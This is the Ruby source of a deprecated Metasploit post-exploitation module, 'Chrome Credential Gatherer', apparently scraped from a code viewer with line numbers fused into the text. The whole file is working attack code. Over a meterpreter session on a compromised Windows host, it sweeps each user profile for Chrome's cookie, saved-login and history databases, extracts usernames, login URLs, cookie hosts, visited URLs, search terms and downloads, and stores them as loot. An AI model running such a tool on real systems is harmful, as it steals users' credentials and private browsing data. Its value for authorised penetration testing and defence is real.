Path: blob/master/modules/post/windows/gather/credentials/chrome.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9include Msf::Exploit::Deprecated1011deprecated nil, 'The post/windows/gather/enum_browsers module now supersedes this module'1213ARTIFACTS =14{15application: 'chrome',16app_category: 'browsers',17gatherable_artifacts: [18{19filetypes: 'cookies',20path: 'LocalAppData',21dir: 'Google',22artifact_file_name: 'Cookies',23description: "Chrome's Cookies",24credential_type: 'sqlite',25sql_search: [26{27sql_description: "Database Commands which exports Chrome's Cookie data",28sql_table: 'cookies',29sql_column: 'host_key, name, path'30}31]32},33{34filetypes: 'logins',35path: 'LocalAppData',36dir: 'Google',37artifact_file_name: 'Login Data',38description: "Chrome's saved Username and Passwords",39credential_type: 'sqlite',40sql_search: [41{42sql_description: "Database Commands which exports Chrome's Login data",43sql_table: 'logins',44sql_column: 'username_value, action_url'45}46]47},48{49filetypes: 'web_history',50path: 'LocalAppData',51dir: 'Google',52artifact_file_name: 'History',53description: "Chrome's History",54credential_type: 'sqlite',55sql_search: [56{57sql_description: "Database Commands which exports Chrome's Login data",58sql_table: 'urls',59sql_column: 'url'60},61{62sql_description: "Database Commands which exports Chrome's Login data",63sql_table: 'keyword_search_terms',64sql_column: 'lower_term'65},66{67sql_description: "Database Commands which exports Chrome's Login data",68sql_table: 'downloads',69sql_column: 'current_path, tab_referrer_url'70},71{72sql_description: "Database Commands which exports Chrome's Login data",73sql_table: 'segments',74sql_column: 'name'75},76{77sql_description: "Database Commands which exports Chrome's Login data",78sql_table: 'downloads_url_chains',79sql_column: 'url'80}81]82}83]84}.freeze8586def initialize(info = {})87super(88update_info(89info,90'Name' => 'Chrome Credential Gatherer',91'Description' => %q{92This module searches for credentials stored on Chrome on a Windows host.93},94'License' => MSF_LICENSE,95'Author' => [96'Kazuyoshi Maruta',97'Daniel Hallsworth',98'Barwar Salim M',99'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org100],101'Platform' => ['win'],102'SessionTypes' => ['meterpreter'],103'Notes' => {104'Stability' => [CRASH_SAFE],105'Reliability' => [],106'SideEffects' => []107}108)109)110111register_options(112[113OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),114OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),115OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),116# enumerates the options based on the artifacts that are defined below117OptEnum.new('ARTIFACTS', [118false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|119k[:filetypes]120end.uniq.unshift('All')121])122]123)124end125126def run127print_status('Filtering based on these selections: ')128print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")129print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")130print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")131132# used to grab files for each user on the remote host133grab_user_profiles.each do |userprofile|134run_packrat(userprofile, ARTIFACTS)135end136137print_status 'PackRat credential sweep completed'138end139end140141142